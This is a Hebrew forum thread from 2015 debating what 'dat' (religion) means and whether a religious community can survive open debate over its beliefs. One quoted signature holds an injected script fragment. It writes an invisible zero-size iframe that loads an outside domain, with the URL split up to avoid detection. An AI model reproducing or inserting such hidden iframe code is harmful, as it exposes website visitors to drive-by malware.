|
|
| נשלח ב-14/7/2015 14:46 |
 |
| |
אמש
דת - ההגדר ה המילונית כוללת את המילה מחייב (או משהו נרדף) ולא רק רלוונטי
|
|
|
|
| נשלח ב-14/7/2015 15:02 |
|
| |
פרוגרמי המסכן רצה בסך הכל לדון על התופעה מבחינה סוציולוגית, לא לשפוט, לא להאשים ולא שום דבר אחר. בסך הכל לשמוע דברים כמו: מה יהיה העתיד שלהם? אלו מגמות הם מבטאים? מהי מידת ההשפעה שלהם? וכדו'. כאן התנפלתם עליו כולכם עם טהרנות מילולית או הטפת מוסר זועמת שאינה מכוונת בכלל לאדם הנכון.
_________________
לו יצווה איש לכל בני אדם כי יבחרו להם מבין כל המנהגים את הטובים ביותר - היה כל אחד, אחרי בדיקה מדוקדקת, בוחר את מנהגי אבותיו (הרודוטוס, ג, 38)
|
|
|
|
| נשלח ב-14/7/2015 15:17 |
|
| |
הקוזק הנגזל.
|
|
|
|
| נשלח ב-14/7/2015 15:51 |
|
| |
אמשלום וכולם
גם אני בעד הבהרת כללי שימוש במילים. וגם אני סבור שדבריו של פרוגרמי נראים כאילו משתמשים במונחים כמו "תורה מן השמים" במובן מסויים למדי, קרוב להגדרה הפשטנית הנפוצה. הרי, אם אשאר עם הדוגמא הזו, לפי רוזנצוויג תורה היא מן השמים בכך שרבנים שנבחרו לכך משמים ערכו את המקרא.
אריאל וכולם
גם אני סבור כמוך שפרוגרמי הציג שאלות ואין צורך לחטט במניעים שלו. גם אם הוא, נניח, רוצה לייצג עמדה אורתודוכסית ואפילו חרדית ומכוחה למתוח ביקורת ולהיות שיפוטי, זו זכותו בפורום, כל עוד הוא מציע נימוקים לדבריו, וכאשר שואלים שאלה, וברור מה הן הנחות היסוד, זה בסדר גמור.
כל מה שאפשר לתבוע ממנו הוא, לדעתי, רמה מסויימת של מודעות עצמית. כלומר, להבין, כמו שטענה אמשלום, ש"תורה מן השמים" או/ו "מקור סמכות" יכולים לציין דברים שונים ולכן לשמש בתרבויות ותת חברות מסויימות באופנים שונים, כמו נניח אצל החרדים, הדת"לים, או הרפורמים, אם האחרונים מהוים קבוצה אחידה.
שלא להזכיר את ההופעה של הוגי דעות המייצגים את עצמם ואת ביקורתם, כמו בעלי הבלוגים שהם המושא של האשכול.
****
ת"ט
הנה הגדרה מילונית ל"דת".
(נ') [פרסית: דַאתַ; ארמית: דָּתָא; ואולי כיווץ מן: דנת דין]
1.ת אֱמוּנָה, רֵלִיגְיָה, חֻקֵּי הָאֱמוּנָה וּמִצְווֹתֶיהָ: "מַעֲשֶׂה בְּמִרְיָם... שֶׁהֵמִירָה דָתָהּ" (סוכה טו:). "הֲמָרַת דָּת פּוֹסֶלֶת" (פסחים צו.). דַּת יִשְׂרָאֵל, דַּת הַנּוֹצְרִים.
2. חֹק, מִשְׁפָּט: "לְהִנָּתֶן דָּת בְּכָל-מְדִינָה וּמְדִינָה" (אסתר ג יד). "כָּל-יֹדְעֵי דָּת וָדִין" (אסתר א יג).
האבחנה בין "דת" כמערכת כמו משפטית, כלומר הלכה, לבין "דת" במובן היותר מודרני של אמונה, הועלתה בידי לאו שטראוס זכור לטוב.
אמנם אמונה כשמה אמורה להיות מחייבת באותו אופן שכל אמונה אמיתית מחייבת אבל אין נוהגים לנקוט בסנקציות כלפי שמי שיתעקש ששתיים ועוד שתים הן חמש - רק בעסקים מצפים שלמרות אמונתו ינקוט באריתמטיקה המוכרת לנו. כמדומה שהדת בתרבות המודרנית ועוד יותר הפוסט מודרנית היא בחירה אישית יותר מאשר גילוי של אמת נשגבה, ולכן היא ודאי לא יכולה לשמש בסיס לתביעה ולחיוב.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-14/7/2015 16:10 |
|
| |
| מיימוני כתב: |  | אמשלום וכולם
גם אני בעד הבהרת כללי שימוש במילים. וגם אני סבור שדבריו של פרוגרמי נראים כאילו משתמשים במונחים כמו "תורה מן השמים" במובן מסויים למדי, קרוב להגדרה הפשטנית הנפוצה. הרי, אם אשאר עם הדוגמא הזו, לפי רוזנצוויג תורה היא מן השמים בכך שרבנים שנבחרו לכך משמים ערכו את המקרא.
אריאל וכולם
גם אני סבור כמוך שפרוגרמי הציג שאלות ואין צורך לחטט במניעים שלו. גם אם הוא, נניח, רוצה לייצג עמדה אורתודוכסית ואפילו חרדית ומכוחה למתוח ביקורת ולהיות שיפוטי, זו זכותו בפורום, כל עוד הוא מציע נימוקים לדבריו, וכאשר שואלים שאלה, וברור מה הן הנחות היסוד, זה בסדר גמור.
כל מה שאפשר לתבוע ממנו הוא, לדעתי, רמה מסויימת של מודעות עצמית. כלומר, להבין, כמו שטענה אמשלום, ש"תורה מן השמים" או/ו "מקור סמכות" יכולים לציין דברים שונים ולכן לשמש בתרבויות ותת חברות מסויימות באופנים שונים, כמו נניח אצל החרדים, הדת"לים, או הרפורמים, אם האחרונים מהוים קבוצה אחידה.
שלא להזכיר את ההופעה של הוגי דעות המייצגים את עצמם ואת ביקורתם, כמו בעלי הבלוגים שהם המושא של האשכול.
****
ת"ט
הנה הגדרה מילונית ל"דת".
(נ') [פרסית: דַאתַ; ארמית: דָּתָא; ואולי כיווץ מן: דנת דין]
1.ת אֱמוּנָה, רֵלִיגְיָה, חֻקֵּי הָאֱמוּנָה וּמִצְווֹתֶיהָ: "מַעֲשֶׂה בְּמִרְיָם... שֶׁהֵמִירָה דָתָהּ" (סוכה טו:). "הֲמָרַת דָּת פּוֹסֶלֶת" (פסחים צו.). דַּת יִשְׂרָאֵל, דַּת הַנּוֹצְרִים.
2. חֹק, מִשְׁפָּט: "לְהִנָּתֶן דָּת בְּכָל-מְדִינָה וּמְדִינָה" (אסתר ג יד). "כָּל-יֹדְעֵי דָּת וָדִין" (אסתר א יג).
האבחנה בין "דת" כמערכת כמו משפטית, כלומר הלכה, לבין "דת" במובן היותר מודרני של אמונה, הועלתה בידי לאו שטראוס זכור לטוב.
אמנם אמונה כשמה אמורה להיות מחייבת באותו אופן שכל אמונה אמיתית מחייבת אבל אין נוהגים לנקוט בסנקציות כלפי שמי שיתעקש ששתיים ועוד שתים הן חמש - רק בעסקים מצפים שלמרות אמונתו ינקוט באריתמטיקה המוכרת לנו. כמדומה שהדת בתרבות המודרנית ועוד יותר הפוסט מודרנית היא בחירה אישית יותר מאשר גילוי של אמת נשגבה, ולכן היא ודאי לא יכולה לשמש בסיס לתביעה ולחיוב.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
"כָּל-יֹדְעֵי דָּת וָדִין" (אסתר א יג). אם הדת זה חוק? מה זה דין?אסתר פרק א וְהַשְּׁתִיָּה כַדָּת אֵין אֹנֵס כִּי כֵן יִסַּד הַמֶּלֶךְ עַל כָּל רַב בֵּיתוֹ לַעֲשׂוֹת כִּרְצוֹן אִישׁ וָאִישׁ:
מה פרושה כאן של המילה דת? ממתי לא כופין על החק?
|
|
|
|
| נשלח ב-14/7/2015 16:18 |
|
| |
ומנחתם כמשפטם.
והשתיה כדת- כמשפט - כראוי
|
|
|
|
| נשלח ב-14/7/2015 16:52 |
|
| |
הבעיה היחידה היא השם של האשכול.
אין פה יהדות לייט. יהדות לייט זה משהו אחר.
האתר של פאר ברזילי כמו האתר של אברהם העברי דומה בהחלט לעצכ"ח בעבר. כלומר אנשים שדנים ומעמיקים במקורות ומביעים דעה מה לדעתם בעל ערך ורלוונטי לחייהם ועל מה ניתן לוותר כי אין בו כל טעם.
|
|
|
|
| נשלח ב-14/7/2015 19:19 |
|
| |
[ת"ט,
גם ל"מחייב" יש משמעויות שונות, ובודאי ל"מחויב". אדם יכול לחוש מחויב (בכנות ובכל ליבו) למקור כלשהו מבלי לחוש מחויב בשום דרך לציית לו. למשל: מחויבות ללמוד את המקור ולעסוק בו (כחלק מהותי מהזהות ומהתרבות שלו), או לכתוב אותו על קירות ביתו ואיברי גופו כדי לא לשכוח אותו, או לשנן ולדקלם אותו באופן ריטואלי (לעתים אף מבלי להבין כלל את לשונו או תוכנו), וכו'. ]
|
|
|
|
| נשלח ב-14/7/2015 21:20 |
|
| |
(אמשלום יקרה, בניגוד למה שכתבת, התכתבנו כאן באריכות, למשל בנושא הכשפים)
[מכבסת מלים זה טוב ושימושי, אבל אין לי את הפנאי לעבור על הנהר בשעה שאמשלום ואפרים עומדות על הכביסה. כמובן שאין קשר בשום צורה למה שכתבתי, איכא דרכא אחרינא].
|
|
|
|
| נשלח ב-14/7/2015 22:14 |
|
| |
ירוחם
שאלת היטב ולא חיפשתי עדיין תשובה. ההעתקה לא עלתה יפה כי אחרת היה כתוב שהעתקתי ממילון אבן שושן הדגול. אז שאלתך עליו ולאו דווקא עלי.
זו כמובן התחמקות, ודרך אחרת לומר שאין לי בינתים תשובה. עמך הסליחה בינתים. אבל יהיה עלינו להודות ששימושי הלשון שאבן שושן מצביע עליהם אכן קיימים, ולמצער בימי הבינים כדברי רבנו ליאו שטראוס. לעיל לא ציינתי ברור שחידושו של שטראוס, או גילויו מחדש, הוא שהיהדות (כמו האיסלם) בימי הבינים היא חוק ואילו בזמן החדש היא אמונה דתית.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-14/7/2015 22:51 |
|
| |
אני אנסה להחזיר את האשכול לעניינו המקורי כפי הבנתי.
אין האשכול לא דן באדם שעושה מול עצמו בירורים ומגיע למסקנה השונה מהאורתודוקסיה.
הוא גם לא דן באדם שהחליט שצריך לעשות רפורמות ולהקים דת דומה לזו הקיימת, אלא שעיקריה שונים בדבר זה או אחר.
הוא דן בתופעה, שבה יש אנשים שמגיעים לעיקרי אמונה שונים, מוציאים זה החוצה, אבל לא רוצים שתקום דת חדשה שתאמין במסקנות שלהם. הם רוצים שהדיון יהיה פתוח, וכל אחד יוכל להגיע למסקנותיו. אם ניקח את אברם בתור הדוגמה שנמצאת לנו כאן ממש, הרי שנדמה שהוא חושב שהדיון מה בדיוק ניתן בסיני צריך להיעשות באופן ציבורי. השאלה היא האם קהילה דתית יכולה להתקיים במצב כזה. יש כאן שני רכיבים מבוקשים: א. קהילה; ב. דתית. נראה שאם כל הנחות היסוד פתוחות לדיון ציבורי אי אפשר לקיים אף אחד מהרכיבים, ונשאלת השאלה מה בדיוק מדמיינים לעצמם אותם אנשים שרוצים בכך (או שמא אותם אנשים בכלל לא קיימים, ורק אני מדמיין אותם). להבנתי, אכן קהילה כזו לא יכולה להתקיים, והאנשים המדוברים מתחברים לקהילות אחרות (ציוניות דתיות) כטרמפיסטים (טרמפיסט במובן של בעיית הטרמפיסט בתורת המשחקים - הם רוצים קהילה אבל נוהגים בדרך שאם כולם ינהגו בה לא תהיה קהילה; אפשר לגזור מזה שיפוט מוסרי ואפשר לא).
|
|
|
|
|
| נשלח ב-15/7/2015 07:54 |
|
| |
אמשל
צר לי אבל בסך הכל עברת לכבס את המילה חייב.
אולי תלווי לי כמה שקלים ואהיה חייב לך...
|
|
|
|
| נשלח ב-15/7/2015 14:56 |
|
| |
אם לקהילה יש יסודות אמונה כלשהם היא יכולה להתגבש סביבם. במקרה שלנו, אם הקהילה מאמינה בקיום הא-ל, בהתגלות כלשהי על הר סיני ובכך שלא כל התורה שבידינו היא התורה המקורית, יש לה כבר עיקרי אמונה מסויימים ואת הפרטים ילבנו בבתי הכנסת בין מנחה למעריב. ("נו, מוישה, שמעת שמקור P קדם למקור D?" "עזוב אותך, אני לא מאמין בכל הפוילעשטיקים האלה של קויפמן. בטח רימה במס הכנסה")
שנית, האם קהילה חייבת להתגבש סביב עיקרי אמונה? מה אם הם יתגבשו מסביב לעניין משותף ותרבות משותפת?
|
|
|
|
| נשלח ב-15/7/2015 15:31 |
|
| |
ואז זו תהיה קהילה תרבותית
|
|
|
|
|
| נשלח ב-15/7/2015 16:12 |
|
| |
| אריאל73 כתב: | | אם לקהילה יש יסודות אמונה כלשהם היא יכולה להתגבש סביבם. במקרה שלנו, אם הקהילה מאמינה בקיום הא-ל, בהתגלות כלשהי על הר סיני ובכך שלא כל התורה שבידינו היא התורה המקורית, יש לה כבר עיקרי אמונה מסויימים ואת הפרטים ילבנו בבתי הכנסת בין מנחה למעריב. ("נו, מוישה, שמעת שמקור P קדם למקור D?" "עזוב אותך, אני לא מאמין בכל הפוילעשטיקים האלה של קויפמן. בטח רימה במס הכנסה")
שנית, האם קהילה חייבת להתגבש סביב עיקרי אמונה? מה אם הם יתגבשו מסביב לעניין משותף ותרבות משותפת? |
|
אתה לא יודע שמעריב זה בכלל רשות? וגם מנחה לא ממש כתובה בתורה. ויש הרבה דברים בתפילה שלא מוצאים חן בעיני ראובן ואחרים בעיני שמעון. ובכלל בתי כנסת היא המצאה מאוחרת, ואולי עדיף לחזור לבמות.
קהילה צריכה יותר דברים משותפים מאשר אמונה בקיומו של אל ובזה שהוא נתן משהו בלתי ידוע לבני האדם.
|
|
|
|
|
